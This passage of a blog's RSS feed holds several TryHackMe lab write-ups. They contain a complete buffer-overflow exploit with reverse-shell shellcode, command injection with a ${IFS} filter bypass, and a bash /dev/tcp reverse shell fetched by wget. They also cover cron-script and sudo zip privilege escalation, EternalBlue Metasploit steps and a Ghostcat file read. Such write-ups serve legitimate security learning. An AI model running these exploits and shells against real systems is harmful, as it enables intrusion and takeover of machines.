f3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”</strong></blockquote><blockquote><strong>) #this will find bad charaters</strong></blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ + b’A’*1978 + b’\xaf\x11\x50\x62&#39; +<strong> badchars</strong>] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>Run the script2.py</p><p>Check immunity debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*6-GLSMP4Is61HYPwvnTUOw.png" /></figure><p>Follow in dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*LmoKlGLpO-rm0xgXcvP_kQ.png" /></figure><p>Now we need to check the hexa dump and find the bad characters.</p><p>like highlighted below the actual sequence is 05 06 so it should be 07 08 but its 0A and 0D</p><p><strong>so 07 and 08 are bad characters.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*db_mbCmLF7L_Y08xRIHv4Q.png" /></figure><p>again found</p><p>2C 2D ideal it should be 2E 2F But its OA means</p><p>2E and 2F are bad char.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*lWWcU0yfIgBLBEUbcp3DhQ.png" /></figure><p>We found these many bad characters.</p><blockquote><strong>\x07\x08\x2e\x2f\xa0\xa1\x00</strong></blockquote><p>Now Again generate the payload excluding this bad characters.</p><blockquote><strong>msfvenom -p windows/shell_reverse_tcp LHOST=10.11.48.237 LPORT=2306 -f py -b “\x07\x08\x2e\x2f\xa0\xa1\x00”</strong></blockquote><p>New Payload which doesn’t have the bad characters.</p><p><strong>Removed the bad characters</strong></p><blockquote>buf = b””</blockquote><blockquote>buf += b”\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e”</blockquote><blockquote>buf += b”\x81\x76\x0e\x6e\x97\x03\xdf\x83\xee\xfc\xe2\xf4&quot;</blockquote><blockquote>buf += b”\x92\x7f\x81\xdf\x6e\x97\x63\x56\x8b\xa6\xc3\xbb”</blockquote><blockquote>buf += b”\xe5\xc7\x33\x54\x3c\x9b\x88\x8d\x7a\x1c\x71\xf7&quot;</blockquote><blockquote>buf += b”\x61\x20\x49\xf9\x5f\x68\xaf\xe3\x0f\xeb\x01\xf3&quot;</blockquote><blockquote>buf += b”\x4e\x56\xcc\xd2\x6f\x50\xe1\x2d\x3c\xc0\x88\x8d”</blockquote><blockquote>buf += b”\x7e\x1c\x49\xe3\xe5\xdb\x12\xa7\x8d\xdf\x02\x0e”</blockquote><blockquote>buf += b”\x3f\x1c\x5a\xff\x6f\x44\x88\x96\x76\x74\x39\x96&quot;</blockquote><blockquote>buf += b”\xe5\xa3\x88\xde\xb8\xa6\xfc\x73\xaf\x58\x0e\xde”</blockquote><blockquote>buf += b”\xa9\xaf\xe3\xaa\x98\x94\x7e\x27\x55\xea\x27\xaa”</blockquote><blockquote>buf += b”\x8a\xcf\x88\x87\x4a\x96\xd0\xb9\xe5\x9b\x48\x54&quot;</blockquote><blockquote>buf += b”\x36\x8b\x02\x0c\xe5\x93\x88\xde\xbe\x1e\x47\xfb”</blockquote><blockquote>buf += b”\x4a\xcc\x58\xbe\x37\xcd\x52\x20\x8e\xc8\x5c\x85&quot;</blockquote><blockquote>buf += b”\xe5\x85\xe8\x52\x33\xff\x30\xed\x6e\x97\x6b\xa8&quot;</blockquote><blockquote>buf += b”\x1d\xa5\x5c\x8b\x06\xdb\x74\xf9\x69\x68\xd6\x67&quot;</blockquote><blockquote>buf += b”\xfe\x96\x03\xdf\x47\x53\x57\x8f\x06\xbe\x83\xb4&quot;</blockquote><blockquote>buf += b”\x6e\x68\xd6\x8f\x3e\xc7\x53\x9f\x3e\xd7\x53\xb7&quot;</blockquote><blockquote>buf += b”\x84\x98\xdc\x3f\x91\x42\x94\xb5\x6b\xff\x09\xd4&quot;</blockquote><blockquote>buf += b”\x5e\x7a\x6b\xdd\x6e\x9e\x01\x56\x88\xfd\x13\x89&quot;</blockquote><blockquote>buf += b”\x39\xff\x9a\x7a\x1a\xf6\xfc\x0a\xeb\x57\x77\xd3&quot;</blockquote><blockquote>buf += b”\x91\xd9\x0b\xaa\x82\xff\xf3\x6a\xcc\xc1\xfc\x0a”</blockquote><blockquote>buf += b”\x06\xf4\x6e\xbb\x6e\x1e\xe0\x88\x39\xc0\x32\x29&quot;</blockquote><blockquote>buf += b”\x04\x85\x5a\x89\x8c\x6a\x65\x18\x2a\xb3\x3f\xde”</blockquote><blockquote>buf += b”\x6f\x1a\x47\xfb\x7e\x51\x03\x9b\x3a\xc7\x55\x89&quot;</blockquote><blockquote>buf += b”\x38\xd1\x55\x91\x38\xc1\x50\x89\x06\xee\xcf\xe0&quot;</blockquote><blockquote>buf += b”\xe8\x68\xd6\x56\x8e\xd9\x55\x99\x91\xa7\x6b\xd7&quot;</blockquote><blockquote>buf += b”\xe9\x8a\x63\x20\xbb\x2c\xf3\x6a\xcc\xc1\x6b\x79&quot;</blockquote><blockquote>buf += b”\xfb\x2a\x9e\x20\xbb\xab\x05\xa3\x64\x17\xf8\x3f”</blockquote><blockquote>buf += b”\x1b\x92\xb8\x98\x7d\xe5\x6c\xb5\x6e\xc4\xfc\x0a”</blockquote><p>paste this in script2.py</p><blockquote>!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>buf = b””</blockquote><blockquote>buf += b”\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e”</blockquote><blockquote>buf += b”\x81\x76\x0e\x6e\x97\x03\xdf\x83\xee\xfc\xe2\xf4&quot;</blockquote><blockquote>buf += b”\x92\x7f\x81\xdf\x6e\x97\x63\x56\x8b\xa6\xc3\xbb”</blockquote><blockquote>buf += b”\xe5\xc7\x33\x54\x3c\x9b\x88\x8d\x7a\x1c\x71\xf7&quot;</blockquote><blockquote>buf += b”\x61\x20\x49\xf9\x5f\x68\xaf\xe3\x0f\xeb\x01\xf3&quot;</blockquote><blockquote>buf += b”\x4e\x56\xcc\xd2\x6f\x50\xe1\x2d\x3c\xc0\x88\x8d”</blockquote><blockquote>buf += b”\x7e\x1c\x49\xe3\xe5\xdb\x12\xa7\x8d\xdf\x02\x0e”</blockquote><blockquote>buf += b”\x3f\x1c\x5a\xff\x6f\x44\x88\x96\x76\x74\x39\x96&quot;</blockquote><blockquote>buf += b”\xe5\xa3\x88\xde\xb8\xa6\xfc\x73\xaf\x58\x0e\xde”</blockquote><blockquote>buf += b”\xa9\xaf\xe3\xaa\x98\x94\x7e\x27\x55\xea\x27\xaa”</blockquote><blockquote>buf += b”\x8a\xcf\x88\x87\x4a\x96\xd0\xb9\xe5\x9b\x48\x54&quot;</blockquote><blockquote>buf += b”\x36\x8b\x02\x0c\xe5\x93\x88\xde\xbe\x1e\x47\xfb”</blockquote><blockquote>buf += b”\x4a\xcc\x58\xbe\x37\xcd\x52\x20\x8e\xc8\x5c\x85&quot;</blockquote><blockquote>buf += b”\xe5\x85\xe8\x52\x33\xff\x30\xed\x6e\x97\x6b\xa8&quot;</blockquote><blockquote>buf += b”\x1d\xa5\x5c\x8b\x06\xdb\x74\xf9\x69\x68\xd6\x67&quot;</blockquote><blockquote>buf += b”\xfe\x96\x03\xdf\x47\x53\x57\x8f\x06\xbe\x83\xb4&quot;</blockquote><blockquote>buf += b”\x6e\x68\xd6\x8f\x3e\xc7\x53\x9f\x3e\xd7\x53\xb7&quot;</blockquote><blockquote>buf += b”\x84\x98\xdc\x3f\x91\x42\x94\xb5\x6b\xff\x09\xd4&quot;</blockquote><blockquote>buf += b”\x5e\x7a\x6b\xdd\x6e\x9e\x01\x56\x88\xfd\x13\x89&quot;</blockquote><blockquote>buf += b”\x39\xff\x9a\x7a\x1a\xf6\xfc\x0a\xeb\x57\x77\xd3&quot;</blockquote><blockquote>buf += b”\x91\xd9\x0b\xaa\x82\xff\xf3\x6a\xcc\xc1\xfc\x0a”</blockquote><blockquote>buf += b”\x06\xf4\x6e\xbb\x6e\x1e\xe0\x88\x39\xc0\x32\x29&quot;</blockquote><blockquote>buf += b”\x04\x85\x5a\x89\x8c\x6a\x65\x18\x2a\xb3\x3f\xde”</blockquote><blockquote>buf += b”\x6f\x1a\x47\xfb\x7e\x51\x03\x9b\x3a\xc7\x55\x89&quot;</blockquote><blockquote>buf += b”\x38\xd1\x55\x91\x38\xc1\x50\x89\x06\xee\xcf\xe0&quot;</blockquote><blockquote>buf += b”\xe8\x68\xd6\x56\x8e\xd9\x55\x99\x91\xa7\x6b\xd7&quot;</blockquote><blockquote>buf += b”\xe9\x8a\x63\x20\xbb\x2c\xf3\x6a\xcc\xc1\x6b\x79&quot;</blockquote><blockquote>buf += b”\xfb\x2a\x9e\x20\xbb\xab\x05\xa3\x64\x17\xf8\x3f”</blockquote><blockquote>buf += b”\x1b\x92\xb8\x98\x7d\xe5\x6c\xb5\x6e\xc4\xfc\x0a”</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ + b’A’*1978 + b’\xaf\x11\x50\x62&#39; +<strong>b’\x90&#39;*16 + buf</strong>] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>one last thing which we need to add is knobsled \x90 it is something inbetween the jump and payload but we need some sort of space between jump and payload to get the reverse shell hence we are adding \x90 which provides padding.</p><p>Now we don’t need immunity debugger I found my bad char I found my jump address so now will run the program and execute our script.</p><p>Running oscp.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*h9HnGVM9IkrUXvrOaDotqg.png" /></figure><p>Listener in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*ZNyiCcoNwuEugFAxe6WmCg.png" /></figure><p>Run the script2.py for the last time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*QeXBZsvA2q4c03b93Q_dVg.png" /></figure><p>BOOOOMMMMMMM!!!!!!!!!!!!!!!!!!!!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*e0ZUmEU0wRGTXSAlFnC78A.png" /></figure><p>And we got the shell.</p><p><em>Thank you for reading this blog. While attempting this challenge I learned so many things. This was unique target with unique vulnerability.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c237039769" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe:ConvertMyVideo]]></title>
            <link>https://medium.com/@akbar47873/tryhackme-convertmyvideo-7de7658d17c3?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/7de7658d17c3</guid>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Sun, 03 Sep 2023 16:15:42 GMT</pubDate>
            <atom:updated>2023-09-03T16:15:42.277Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Link to Lab — </strong><a href="https://tryhackme.com/room/convertmyvideo">https://tryhackme.com/room/convertmyvideo</a></p><p><strong>Lab Overview — My Script to convert videos to MP3 is super secure.</strong></p><p>A perfect room to understand from basic enumeration to limiting findings abusing a single found web application functionality trying to execute command injection using IFS and getting low privilege shell further abusing cronjob to becoming a root.</p><p><strong>#TASK1 — Recon</strong></p><p>We will run nmap aggressive scan against our target</p><p><strong>nmap -A -sV 10.10.163.162 -v</strong></p><p>Here is our Nmap result, where we can find 2 ports (22 and 80) as open to ssh we need credentials so let’s go with port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*n5HfK2HMLmuFzDU9Pglc5Q.png" /><figcaption>Nmap</figcaption></figure><p><a href="http://10.10.163.162/">http://10.10.163.162</a> we found a webpage where we can convert our videos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*1c4tFLBC7Cw3iF1IKcBIaQ.png" /><figcaption>Convert My Video</figcaption></figure><p>Let’s give some inputs and check what it does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*J3xLn-kV_iCo1QYDKL6QlA.png" /></figure><p>We don’t have clear understanding what it’s trying to do and why the error.</p><p>So our next step will be enumerating further.</p><p><strong>#TASK2 — Enumerating</strong></p><p>For this task, we will capture this request and response in BURP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*1PuXGfaA7xOXAcdf81bmiw.png" /></figure><p>So let’s try command injection in yt_url parameter.</p><p>ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*iiLXT7KE5zEJ9-7y8S65lQ.png" /></figure><p>But we can see youtube-dl so enumerate this.</p><p><strong>youtube-dl</strong> is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on macOS. It is released to the public domain, which means you can modify it, redistribute it or use it however you like.</p><p>We get some sort of command injection here.</p><p><strong>`ls`</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*aoZL7zCSSO37Sr1NbD01fw.png" /></figure><p>At this point we start struggling how and which command to run as it not allowing to run any command with space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*URn1SP-1BadjJ4FNEpH7OA.png" /></figure><p>After a bit googling , we found something called as IFS , It is a special shell variable , it stands for Internal Field Separator</p><p><strong>yt_url=`ls${IFS}-la`</strong></p><p>Now on using this, we are getting some response at least it is reading it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*V77Ebma3Zf776VYHLwCK1w.png" /></figure><p>On multiple retries and failures we found something interesting.</p><p><strong>#TASK3 — Exploitation</strong></p><p>So we search for a 1 liner reverse shell.</p><p><strong>bash -i &gt;&amp; /dev/tcp/10.11.48.237/9090 0&gt;&amp;1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*GJNDfWhOGhY7nPwbOabcvg.png" /></figure><p>Now we have to send this to victim, i am hosting this to http server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*BjDtnm2uwHQh4dwRhaCDfQ.png" /></figure><p>Now using wget we will try to download this on victim machine and execute.</p><p><strong>wget${IFS}http://10.11.48.237/rev.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*gz20AkxGwQXJhOnluDIMOw.png" /></figure><p>Now we will provide the execution permission and try to run.</p><p><strong>`chmod${IFS}777${IFS}rev.sh`</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*qn9hD1u1SDWuPdD4BZZypg.png" /></figure><p>Lets listen on the port 9090 as per to our rev shell and run this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*yEoC5rElmdxjDc5CR-VdlA.png" /></figure><p><strong>`bash${IFS}rev.sh`</strong></p><p>BOOM!!!!!!!!!!! We got our low level shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*0a3R60dVKVrOMv_mjo7MbA.png" /></figure><p><strong>#TASK4 — Privilege Escalation.</strong></p><p>Crontab -l</p><p>Cat /etc/crontab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*YGzwjzl0bRQ6wsMjxxwLag.png" /></figure><p><strong>ps aux</strong></p><p>Check the running process as in above approach we haven’t found anything juicy.</p><p>We found crontab is using some where as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*R7haOq4fmje-AT6NqKIwmQ.png" /></figure><p>We can automate this process of hunting by linpeas.sh or linenum.sh which will highlight this in red.</p><p>We found a very interesting tool pspy to look into linux process.</p><p><a href="https://github.com/DominicBreuker/pspy">https://github.com/DominicBreuker/pspy</a></p><p>pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.</p><p>Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.</p><p>The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.</p><p>We have download this tool on attacker machine and will send it to the victim the way we shared rev.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*Ps2eCBHRagBlJ2248szwiA.png" /></figure><p>wget <a href="http://10.11.48.237:8080/pspy64">http://10.11.48.237:8080/pspy64</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*H8Kr1mXlCT8B3xlvnqwmmw.png" /></figure><p>Provide require permission to execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*RY8nIDiipDFFTzch5Jj_QA.png" /></figure><p>It might take 2–3 minutes to complete this job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*aq0rSW3IzCy54UbX5oUI4g.png" /></figure><p>Ok so we found something which is clean.sh and it is executing by CRONJOB, So I suspect that is this the Cronjob overwriting? Lets give this a try.</p><p>Navigate to /var/www/html/tmp/clean.sh and check what its doing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*9Dso5Arw7JxUrWR7mIal3Q.png" /></figure><p>Modify our 1 liner and integrate in this file.</p><p><strong>bash -i &gt;&amp; /dev/tcp/10.11.48.237/5555 0&gt;&amp;1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*kgNg-m1MLEpCZjbH8HeNlw.png" /></figure><p>And we are root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IDtYvUUN64VKMRdx8RglCA.png" /></figure><p><strong>#TASK5 — Capture the Flags</strong></p><p><strong>What is the name of the secret folder?</strong></p><p>Admin</p><p><strong>What is the user to access the secret folder?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*oBEACjuRDzCD2LirRvHFwQ.png" /></figure><p><strong>What is the user flag?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*fPhcKXGeHcxAjNozJmjPgA.png" /></figure><p><strong>What is the root flag?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*c8XZuej5eG3ylkfROQAXFw.png" /></figure><p><em>Thank you for reading this blog. While attempting this challenge I learned so many things. This was unique target with unique vulnerability.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7de7658d17c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Blue (Eternal Blue)]]></title>
            <link>https://medium.com/@akbar47873/tryhackme-blue-eternal-blue-e141d5e819ca?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/e141d5e819ca</guid>
            <category><![CDATA[windows-7]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[eternalblue]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Sun, 27 Aug 2023 10:04:27 GMT</pubDate>
            <atom:updated>2023-08-27T10:04:27.081Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>About the vulnerability:</strong></p><p>So, as the name of the room,gives us a small hint about the vulnerability or the exploit that can be used for the machine.</p><p><strong>Eternal Blue</strong> was the exploit used by the world famous WannaCry in order attack Windows bases systems using SMB(Server Message Block).</p><p>Fun Fact: The NSA(National Security Agency) knew about this vulnerability and kept it as secret for more than five years from Microsoft.</p><p><strong>Lab Configuration</strong></p><p>1) Kali Machine (<strong>Attacker Machine</strong>)</p><p>IP — <strong>10.11.48.237</strong></p><p>2) Windows 7 (<strong>Victim Machine</strong>)</p><p>IP -<strong>10.10.97.124</strong></p><p><strong>[ TASK 1 ]: Recon</strong></p><p>( #1) First we will start with the nmap scan.</p><p><strong>nmap -sC -sV -Pn 10.10.97.124</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*p14N62EycxnBscpKX2EMpQ.png" /><figcaption>Reconnaissance</figcaption></figure><p><strong>-sC</strong> =script scan</p><p><strong>-sV</strong>=version detection</p><p><strong>-Pn</strong>=doesnt send ping probes to machine</p><p>From the nmap scan,we see that port 139,445 and 49152–49157(running rpc) are open and the target is running windows 7 Professional.</p><p>Any pentester who has been in this field knows that windows 7 is vulnerable to the popular eternal blue exploit (MS17–010)</p><p>So lets check if our target is vulnerable to eternal blue exploit. To do so we can use nmap’s nse script. Here i have used — script vuln which scans for CVE’s and in the image below we can clearly see VULNERABLE and MS17–010.</p><p><strong>nmap -sV -sC — script vuln -p 135,139,445,49152 10.10.97.124 -v</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*CKQn2jWWU1E53cVBbKybtA.png" /><figcaption>Scanning</figcaption></figure><p>We can search for exploits using searchsploit or google exploitdb and last but not the least we can check the same on metasploit.</p><p><strong>Method 1 — Searchsploit.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0b7h0pfbvbKdn762CIGeYQ.png" /></figure><p><strong>Method 2 — Google / exploitdb.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*gLWpDQH-hB07SEm_IfhUWA.png" /></figure><p><strong>Method 3 — Metasploit Framework.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hb5B9bkgUh-L8kgtIvID3w.png" /></figure><p><strong>[ TASK 2 ]: Gain Access</strong></p><p>We will use metasploit framework to exploit this machine and Gain Access.</p><p><strong>msf6 &gt; search MS17–010</strong></p><p><strong>use exploit/windows/smb/ms17_010_eternalblue</strong></p><p><strong>set payload windows/x64/meterpreter/reverse_tcp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*XfhaHMem5Ogo3WWTdK8Jcw.png" /><figcaption>Gaining Access.</figcaption></figure><p><strong>We need to provide the details where Required — Yes.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fj8_fhKKLRy67Ysrc30b3A.png" /></figure><p><strong>set LHOST 10.11.48.237</strong></p><p><strong>set RHOSTS 10.10.97.124</strong></p><p><strong>set target 0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lq6FQItxtmGo48YauvEKlA.png" /><figcaption>Exploit Setup</figcaption></figure><p><strong>exploit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gySXr32CsrC6gwWqqIIu-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*SbvnNNCdO3nnMOU1-CEJQw.png" /></figure><p><strong>NT AUTHORITY\SYSTEM</strong> means you are the most powerful user on that system.It also means that you are the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*n6TrFMZRbDdUXW_1mWifWg.png" /></figure><p><strong>Now the commands we can used are below.</strong></p><p>Now we need to verify our privileges. For that we use the command:</p><p>getsystem -tells the metasploit to use the various methods and try to get the system privileges.</p><p><strong>getsystem</strong></p><p>getuid-It will display which user are you on the host machine.</p><p><strong>getuid</strong></p><p>To list all the processes running we have the command.</p><p><strong>ps</strong></p><p><strong>Conclusion</strong></p><p>This is a great box for beginners, as it walks you through the various steps of the process but still expects you to do your part and it doesn’t hold your hand excessively. This is perfect for someone approaching penetration testing and wanting to learn the basics of Metasploit.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e141d5e819ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme tomghost]]></title>
            <link>https://medium.com/@akbar47873/tryhackme-tomghost-868861b189f7?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/868861b189f7</guid>
            <category><![CDATA[tomghost-walkthrough]]></category>
            <category><![CDATA[tomghost]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Thu, 24 Aug 2023 09:42:10 GMT</pubDate>
            <atom:updated>2023-08-24T09:42:10.628Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/tomghost">tomghost</a></p><p>Starting with Nmap.</p><p><strong>nmapAutomator.sh — host 10.10.58.196 -t All</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*T8EtSdPFsKbtATH9la-ErA.png" /></figure><p>Lets identify everything show above.</p><p>I am skipping ssh as we need user name and password to login which we don’t have as of now.</p><p><a href="http://10.10.58.196:8080/"><strong>http://10.10.58.196:8080/</strong></a></p><p>On port 8080 found apache tomcat defaut page.</p><p>As it is showing version, let try to find some quick wins by google dorking and finding any vulnerability related to this version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IeNX15z2kv4kRwBg0Rligg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*XEfyvHvCF7rzb790fEHerA.png" /></figure><p>We have download the CVE from searchsploit database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*-VGsqhu6DgJyscI-emJoew.png" /></figure><p>Command to execute the script.</p><p><strong>python 48143.py 10.10.58.196 -p 8009 -f WEB-INF/web.xml</strong></p><p>this is the actual method which we were not able to execute due to python version issue.</p><p>Method2</p><p><strong><em>sudo git clone </em></strong><a href="https://github.com/00theway/Ghostcat-CNVD-2020-10487.git"><strong><em>https://github.com/00theway/Ghostcat-CNVD-2020-10487.git</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*UR-_pBSsz2nNIFbRTy5B0A.png" /></figure><p>The object here is to see whether we can read the contents of a configuration file, which will be /WEB-INF/web.xml.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtAWyY4vysNs-5fWgiE5-w.png" /></figure><p><strong>python ajpShooter.py </strong><a href="http://10.10.58.196/"><strong>http://10.10.58.196</strong></a><strong> 8009 /WEB-INF/web.xml read</strong></p><p>BOOM!!!!!!!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*OSKcOIg-NX9iFzgciok1QA.png" /></figure><p>It looks like credentials, now plan actually where we can use this.</p><p>so in initial enumeration we found port 22 which is nothing but ssh port so for ssh we need username and password now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*o8ePeDc_Bos4eUmn2cl8_A.png" /></figure><p>And yes we followed a correct path we got ssh login.</p><p>Now after navigating and check permissions we found 2 files in home dir and from history command it is giving us idea to grab these files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*nFVbc3g-dCvxXOjuNxhVRQ.png" /></figure><p>We have extracted the same using SCP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFdMOTwLkNyZPRlHhjMjaA.png" /></figure><p>now we need to decrypt tryhackme.asc</p><p>We can try and brute force the tryhackme.asc file but first we have to convert this file using gpg2john.</p><p><strong><em>gpg2john tryhackme.asc &gt; hash</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*T7kvBxVW3npd52Cta17XbQ.png" /></figure><p>I will use the rockyou.txt wordlist for the brute force attack.</p><p><strong><em>john — wordlist=/usr/share/wordlists/rockyou.txt hash</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHmBS0aFSYAECBhNel0dZg.png" /></figure><p>Now we got the password for tryhackme.asc now we can decrypt credentials.pgp using that.</p><p><strong>gpg — import tryhackme.asc</strong></p><p><strong>gpg — decrypt credential.pgp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*ziAlqzw8nGOxWHNGgQQUCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*zVrS5PqSYv4UbVdv_nkIDw.png" /></figure><p>when it will ask password provide the above password.</p><p>now login to merlin using the above credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*mTit5cn2B2vTHwY7Y0l_0w.png" /></figure><p>Now privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*rXbghSmokK-Qy8VI287_Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*o61wSFh81zIvLY0HJvVWJw.png" /></figure><p><strong>TF=$(mktemp -u)</strong></p><p><strong>sudo zip $TF /etc/hosts -T -TT ‘sh #’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*gDHo3Fxk22JzTXOQq21WYA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=868861b189f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Dorking]]></title>
